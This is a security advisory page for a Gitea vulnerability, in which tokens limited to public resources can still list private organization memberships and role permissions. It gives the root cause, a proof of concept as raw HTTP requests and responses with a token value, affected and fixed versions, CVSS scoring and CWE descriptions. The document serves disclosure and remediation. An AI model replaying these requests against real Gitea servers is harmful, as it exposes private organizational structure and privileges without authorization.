Skip to content

GHSA-fq2p-5p22-8g6j CVE-2026-58429 GO-2026-6053

Gitea: Public-Only Personal access tokens scope bypass in Organization and Permission Endpoints

Medium Go
Severity
4.9 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.47%
Chance of exploitation in the next 30 days. Higher than 40.81% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-1259 Improper Restriction of Security Token Assignment
CWE-284 Improper Access Control
Fix
Available
2 packages have a fixed version

Description

Summary

A personal access token restricted with the public-only scope can still retrieve private organization membership and organization permission details for its own account through organization-listing endpoints. This bypass breaks the intended guarantee that such tokens are limited to public resources only.

Details

The issue affects the following endpoints: GET /api/v1/user/orgs GET /api/v1/users/{username}/orgs/{org}/permissions

The application correctly prevents a public-only token from directly accessing a private organization through: GET /api/v1/orgs/{org}

However, that same token can still obtain private organization data through alternate code paths.

The root cause is inconsistent enforcement of the public-only restriction. The middleware responsible for blocking non-public organization access depends on route context being populated with the target organization. That assumption does not hold for all affected routes.

For GET /api/v1/user/orgs, the route does not apply checkTokenPublicOnly() at all.

For GET /api/v1/users/{username}/orgs, the middleware is present, but it evaluates ctx.ContextUser, which represents the user named in the path, not the organization objects returned by the handler. Since ctx.Org.Organization is not populated for these responses, private organization results are not filtered.

The organization listing logic then uses the effective relationship between the authenticated user and the target user to determine visibility. When the token belongs to the same user, the handler allows private organization visibility and returns private memberships.

The permissions endpoint is similarly affected. It relies on general visibility logic relative to the real user account rather than explicitly enforcing the public-only token restriction before returning organization authorization details. As a result, a restricted token can still obtain organization role information such as ownership, admin status, and repository creation capability for a private organization.

This is therefore a route-specific authorization failure: direct organization access is blocked, but indirect endpoints still disclose private organization-derived data.

PoC

Step 1: Create or use a user account that belongs to at least one private organization. <img width="1858" height="891" alt="Screenshot 2026-04-16 001614" src="https://github.com/user-attachments/assets/9c1bdbc4-234f-4f65-9b91-00c7ca9a51f7" />

Step 2: Generate a personal access token for that same user with the scopes: public-only, read:user, and read:organization

https://github.com/user-attachments/assets/c89c9004-5e6d-4ff9-b130-5cd9fedc38f6

Step 3: Confirm the token is correctly restricted by requesting the private organization directly <img width="1918" height="867" alt="Screenshot 2026-04-16 002345" src="https://github.com/user-attachments/assets/4c489174-b4ef-400b-9eea-5484520f51e2" />

[REQUEST] GET /api/v1/orgs/private_1?token=d8010b3dee25df1a9c3cb6aafbd24c27dae7ca56 HTTP/2 Host: gitea.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0 Accept: application/json Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Referer: https://gitea.com/api/swagger Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers

[RESPONSE] HTTP/2 403 Forbidden Alt-Svc: h3=":443"; ma=2592000 Cache-Control: max-age=0, private, must-revalidate, no-transform Content-Type: application/json;charset=utf-8 Date: Wed, 15 Apr 2026 17:23:19 GMT Server: Caddy Vary: Origin X-Content-Type-Options: nosniff X-Gitea-Warning: token and access_token API authentication is deprecated and will be removed in gitea 1.23. Please use AuthorizationHeaderToken instead. Existing queries will continue to work but without authorization. Content-Length: 89 {"message":"token scope is limited to public orgs","url":"https://gitea.com/api/swagger"}

Step 4: Use the same token to request the authenticated user’s organizations. Observe that request send successful and receive data about private org. <img width="1545" height="791" alt="Screenshot 2026-04-16 002751" src="https://github.com/user-attachments/assets/761d2684-0882-4e61-9462-21514738e681" /> [REQUEST] GET /api/v1/user/orgs?token=d8010b3dee25df1a9c3cb6aafbd24c27dae7ca56 HTTP/2 Host: gitea.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0 Accept: application/json Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Referer: https://gitea.com/api/swagger Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers

[RESPONSE] HTTP/2 200 OK Access-Control-Expose-Headers: X-Total-Count Alt-Svc: h3=":443"; ma=2592000 Cache-Control: max-age=0, private, must-revalidate, no-transform Content-Type: application/json;charset=utf-8 Date: Wed, 15 Apr 2026 17:26:35 GMT Server: Caddy Vary: Origin X-Content-Type-Options: nosniff X-Gitea-Warning: token and access_token API authentication is deprecated and will be removed in gitea 1.23. Please use AuthorizationHeaderToken instead. Existing queries will continue to work but without authorization. X-Total-Count: 1 Content-Length: 261 [{"id":192111,"name":"private_1","full_name":"","email":"","avatar_url":"https://gitea.com/avatars/cc05fbb4da63b760bf83cdc054c3be63","description":"","website":"","location":"","visibility":"private","repo_admin_change_team_access":true,"username":"private_1"}]

Step 5: Use the same token to request organization permissions for that private organization. <img width="1917" height="865" alt="Screenshot 2026-04-16 003100" src="https://github.com/user-attachments/assets/65578c48-3307-4e0d-ae08-991f64158706" /> [REQUEST] GET /api/v1/users/pcatso172124/orgs/private_1/permissions?token=d8010b3dee25df1a9c3cb6aafbd24c27dae7ca56 HTTP/2 Host: gitea.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0 Accept: application/json Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Referer: https://gitea.com/api/swagger Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers

[RESPONSE] HTTP/2 200 OK Alt-Svc: h3=":443"; ma=2592000 Cache-Control: max-age=0, private, must-revalidate, no-transform Content-Type: application/json;charset=utf-8 Date: Wed, 15 Apr 2026 17:30:32 GMT Server: Caddy Vary: Origin X-Content-Type-Options: nosniff X-Gitea-Warning: token and access_token API authentication is deprecated and will be removed in gitea 1.23. Please use AuthorizationHeaderToken instead. Existing queries will continue to work but without authorization. Content-Length: 95

{"is_owner":true,"is_admin":true,"can_write":true,"can_read":true,"can_create_repository":true}

Impact

Any public-only token for a user who belongs to private organizations can enumerate those private organization names and retrieve detailed authorization information such as ownership, administrative status, write access, read access, and repository-creation capability. This weakens least-privilege token delegation and can expose sensitive internal organizational structure and privilege relationships to third-party integrations, CI jobs, or compromised automation that were only meant to access public data.

Affected versions

Go

PackageVulnerableFixed in
code.gitea.io/gitea
< 1.27.0
1.27.0
gitea.dev
< 1.27.0
1.27.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

code.gitea.io/gitea Go → 1.27.0

go
go get code.gitea.io/gitea@v1.27.0 && go mod tidy

gitea.dev Go → 1.27.0

go
go get gitea.dev@v1.27.0 && go mod tidy

Severity breakdown

CVSS 3.1 4.9

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-1259: Improper Restriction of Security Token Assignment

The System-On-A-Chip (SoC) implements a Security Token mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. However, the Security Tokens are improperly protected.

How to prevent it
  • Architecture and Design, Implementation: Security Token assignment review checks for design inconsistency and common weaknesses. Security-Token definition and programming flow is tested in both pre-silicon and post-silicon testing.

CWE-284: Improper Access Control

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

How to prevent it
  • Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
  • Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-rcr6-4jqh-j84m
Gitea: Remote Code Execution via diffpatch Git Hook Installation
Critical Known exploited Also affects code.gitea.io/gitea
GHSA-2wm4-vwp6-v7xc
Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata
High Also affects code.gitea.io/gitea
GHSA-3r5c-2xxx-h872
Gitea: Webhook Authorization Header Returned in Plaintext via API
Low Also affects code.gitea.io/gitea
GHSA-frpw-3h2q-4jj6
Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs
Medium Also affects code.gitea.io/gitea
GHSA-q423-49rw-g9mh
Gitea: GHSA-8fwc-qjw5-rvgp ClearRepoWatches fix not applied to API EditRepo path — sister code path retains stale watches on public->private
Medium Also affects code.gitea.io/gitea
GHSA-h56g-4qw7-2mxg
Gitea: Public-only API token restriction is not enforced on team API routes
Medium Also affects gitea.dev
GHSA-prr9-9mp4-5gp2
Gitea: Private org member list leaked via /members API endpoint — incomplete fix for PR #38145
High Also affects gitea.dev
GHSA-2fcr-jfvc-vgg2
Gitea: Two SSRF findings
High Also affects code.gitea.io/gitea
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor